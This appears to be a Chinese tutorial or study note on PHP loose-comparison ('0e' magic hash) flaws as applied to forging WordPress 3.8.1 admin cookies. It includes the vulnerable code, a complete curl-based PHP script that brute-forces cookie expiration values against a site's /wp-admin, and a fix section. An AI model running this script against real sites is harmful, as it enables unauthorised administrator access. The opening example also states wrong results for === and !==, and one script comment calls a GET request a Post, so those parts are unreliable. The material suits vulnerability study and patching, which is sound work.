PHP弱类型：WordPress Cookie伪造，wordpresscookie

1 PHP弱类型

　　PHP是弱类型语言，所以变量会因为使用场景的不同自动进行类型转换。PHP中用 == 以及！= 进行相等判断时，会自动进行类型转换，用 === 以及！== 进行判断时不会自动转换类型。

<span>1</span> <?<span>php
</span><span>2</span>     <span>$a</span> = 3<span>;
</span><span>3</span>     <span>$b</span> = '3vic'<span>;
</span><span>4</span>     <span>var_dump</span>(<span>$a</span> == <span>$b</span>);<span>//</span><span>true</span>
<span>5</span>     <span>var_dump</span>(<span>$a</span> != <span>$b</span>);<span>//</span><span>false</span>
<span>6</span>     <span>var_dump</span>(<span>$a</span> === <span>$b</span>);<span>//</span><span>true</span>
<span>7</span>     <span>var_dump</span>(<span>$a</span> !== <span>$b</span>);<span>//</span><span>false</span>
<span>8</span> ?>

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　说明：在PHP中字符串转换成整型时，如果是数字开头就会转换成前面的数字（'3vic' -> 3），如果不是数字开头，那么就会转换成0（'vic' -> 0）

2 WordPress代码

WordPress 3.8.1 与 WordPress 3.8.2 部分代码区别

<span>1</span> <?<span>php
</span><span>2</span>     <span>//</span><span> WordPress 3.8.1</span>
<span>3</span>     <span>if</span> (<span>$hmac</span> != <span>$hash</span><span>) {}
</span><span>4</span>     <span>//</span><span> WordPress 3.8.2</span>
<span>5</span>     <span>if</span> ( hash_hmac('md5', <span>$hmac</span>, <span>$key</span>) !== hash_hmac('md5', <span>$hash</span>, <span>$key</span><span>) )  {}
</span><span>6</span> ?>

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Cookie 组成

　　客户端后台只验证其中的一条Cookie，如下所示

wordpress_c47f4a97d0321c1980bb76fc00d1e78f=admin|<span>1433403595</span>|cf50f3b50eed94dd0fdc3d3ea2c7bbb; path=/wp-admin; domain=www.test.ichunqiu; HttpOnly

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其中Cookie名 wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91 格式为 wordpress_ + md5(siteurl) 其中siteurl为WordPress的网址，此处网站地址为http://www.test.ichunqiu,md5加密后为c47f4a97d0321c1980bb76fc00d1e78f，其它部分也可省。

类型　　　　　　用户名　　　　　过期时间　　　　　　　　登录成功服务器端赋予客户端的hash值

对应变量	$username	$expiration	$hmac
cookies	admin	1433403595	cf50f3b50eed94dd0fdc3d3ea2c7bbb

分析验证登录

　　代码 wp-includes/pluggable.php 第543-549行

<span>1</span> <?<span>php
</span><span>2</span>     <span>$key</span> = wp_hash(<span>$username</span> . <span>$pass_frag</span> . '|' . <span>$expiration</span>, <span>$scheme</span><span>);
</span><span>3</span>     <span>$hash</span> = hash_hmac('md5', <span>$username</span> . '|' . <span>$expiration</span>, <span>$key</span><span>);
</span><span>4</span>     <span>if</span> ( <span>$hmac</span> != <span>$hash</span><span> ) {
</span><span>5</span>     do_action('auth_cookie_bad_hash', <span>$cookie_elements</span><span>);
</span><span>6</span>     <span>return</span> <span>false</span><span>;
</span><span>7</span> }

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在代码所使用的变量中，通过改变客户端Cookie 的方式可控的有 $username 用户名，$expiration 有效期，又因为其中用户名是固定的，因此只有$expiration是可控的，所以我们可以从改变 $expiration 的方法来改变$hash。

结合PHP Hash 比较缺陷分析 WordPress

有以下几种可能使 $hmac == $hash 为真，字符串完全相等或者 $hmac 等于0的同时 $hash 为以字符开头的字符串; 将客户端的Cookie中 $hmac 值改为0，然后在if ( $hmac != $hash ) {的上面一行写入var_dump($hmac);die();发现打印出来 $hmac 的结果是 string '0'而不是int 0，那么有没有方法使字符串识别为整数呢，代码如下：

<span>1</span> <?<span>php
</span><span>2</span> <span>var_dump</span>('0' == '0e156464513131');<span>//</span><span>true</span>

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其中的 0e156464513131 会被识别为0乘以10的156464513131次方，还是得0；因此当 $hash 以0e开头后面全是数字时就会与 $hmac 的值为 '0' 时相等，所以我们可以将客户端的Cookie设置为类似 wordpress_c47f4a97d0321c1980bb76fc00d1e78f=admin|1433403595|0 然后不断更新过期时间（现在1433403595的位置）的方法来碰撞服务器端，一旦 $hash 的值为0e开头后面全是数字即可验证通过。假设碰撞成功，就修改浏览器的Cookie，直接访问后台地址，就可以成功登陆后台。

3 测试脚本

　　通过改变客户端Cookie里过期时间的值，不断尝试登录后台，找出可以进入后台的时间戳，从而实现Cookie伪造登录后台。

<span> 1</span> <?<span>php
</span><span> 2</span> <span>/*</span>
<span> 3</span> 
<span> 4</span> <span>本脚本用于WordPress 3.8.1 的cookie伪造漏洞检测
</span><span> 5</span> <span>传入两个值
</span><span> 6</span> <span>  WordPress 的主页 $host
</span><span> 7</span> <span>  管理员用户名     $root
</span><span> 8</span> <span>*/</span>
<span> 9</span>     <span>header</span>("Content-type:text/html;charset=utf-8"<span>);
</span><span>10</span> 
<span>11</span>     <span>$host</span> = 'http://xxx.xxx.xxx';<span>//</span><span>主页地址 结尾不带'/'</span>
<span>12</span>     <span>$root</span> = 'user';<span>//</span><span>管理员用户名</span>
<span>13</span> 
<span>14</span>     <span>$url</span> = <span>$host</span>.'/wp-admin/';<span>//</span><span>后台管理地址    </span>
<span>15</span>     <span>$sitehash</span>=<span>md5</span>(<span>$host</span><span>); 
</span><span>16</span> 
<span>17</span>     <span>echo</span> "\nWelcome\n\n"<span>;
</span><span>18</span>     <span>//</span><span>通过时间戳暴力破解cookie 实现伪造cookie</span>
<span>19</span>     <span>for</span>(<span>$i</span>=1500000000;<span>$i</span><1600000000;<span>$i</span>++<span>){
</span><span>20</span>         <span>$cookie</span> = "wordpress_".<span>$sitehash</span>."=".<span>$root</span>."|".<span>$i</span>."|0;";<span>//</span><span>组合构造cookie</span>
<span>21</span>         <span>$header</span> = <span>array</span><span>(
</span><span>22</span>        "Content-Type:application/x-www-form-urlencoded",
<span>23</span>       'User-Agent: Mozilla/4.0 (compatible; MSIE .0; Windows NT 6.1; Trident/4.0; SLCC2;)',
<span>24</span>       "Cookie:".<span>$cookie</span>,
<span>25</span> <span>      );
</span><span>26</span> 
<span>27</span>         <span>$curl</span> = curl_init(); <span>//</span><span> 启动一个CURL会话    </span>
<span>28</span>         curl_setopt(<span>$curl</span>, CURLOPT_URL, <span>$url</span>); <span>//</span><span> 要访问的地址</span>
<span>29</span>         curl_setopt(<span>$curl</span>, CURLOPT_FOLLOWLOCATION, 1); <span>//</span><span> 使用自动跳转    </span>
<span>30</span>         curl_setopt(<span>$curl</span>, CURLOPT_AUTOREFERER, 1); <span>//</span><span> 自动设置Referer    </span>
<span>31</span>         curl_setopt(<span>$curl</span>, CURLOPT_HTTPGET, <span>true</span>); <span>//</span><span> 发送一个常规的Post请求    </span>
<span>32</span>         curl_setopt(<span>$curl</span>, CURLOPT_HTTPHEADER, <span>$header</span>); <span>//</span><span> 读取上面所储存的Cookie信息         </span>
<span>33</span>         curl_setopt(<span>$curl</span>, CURLOPT_RETURNTRANSFER, 1); <span>//</span><span> 获取的信息以文件流的形式返回 </span>
<span>34</span>         curl_setopt(<span>$curl</span>, CURLOPT_HEADER, <span>false</span><span>);
</span><span>35</span>         curl_setopt(<span>$curl</span>, CURLOPT_HEADER, 0<span>);   
</span><span>36</span>         curl_setopt(<span>$curl</span>, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);<span>//</span><span>让curl自动选择版本</span>
<span>37</span>         <span>$tmpInfo</span> = curl_exec(<span>$curl</span>); <span>//</span><span> 执行操作</span>
<span>38</span>         <span>if</span> (curl_errno(<span>$curl</span><span>)) {    
</span><span>39</span>         <span>echo</span> 'Errno'.curl_error(<span>$curl</span><span>);    
</span><span>40</span> <span>        }    
</span><span>41</span>         curl_close(<span>$curl</span>); <span>//</span><span> 关闭CURL会话
</span><span>42</span> 
<span>43</span> <span>        //匹配结果</span>
<span>44</span>         <span>if</span>(<span>strstr</span>(<span>$tmpInfo</span>,'我们准备了几个链接供您开始'<span>)){
</span><span>45</span>             <span>echo</span>  "\n".'success : '.<span>$cookie</span>."\n\n"<span>;
</span><span>46</span>             <span>break</span><span>;
</span><span>47</span>         }<span>else</span><span>{
</span><span>48</span>             <span>echo</span>  'fail : '.<span>$cookie</span>."\n"<span>;
</span><span>49</span> <span>        }
</span><span>50</span> 
<span>51</span> <span>    }
</span><span>52</span> ?>

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说明：理论上32位的MD5值以0e开头的大概三亿分之一，碰撞到可以利用的 $expiration 几率极低。

5 修复方案

　　PHP 中使用的哈希比较函数，将其中的 == ，！= 分别更改为 === 和！== 或者将比较的两个变量使用MD5再加密一次。

学习笔记：http://ichunqiu.com/course/167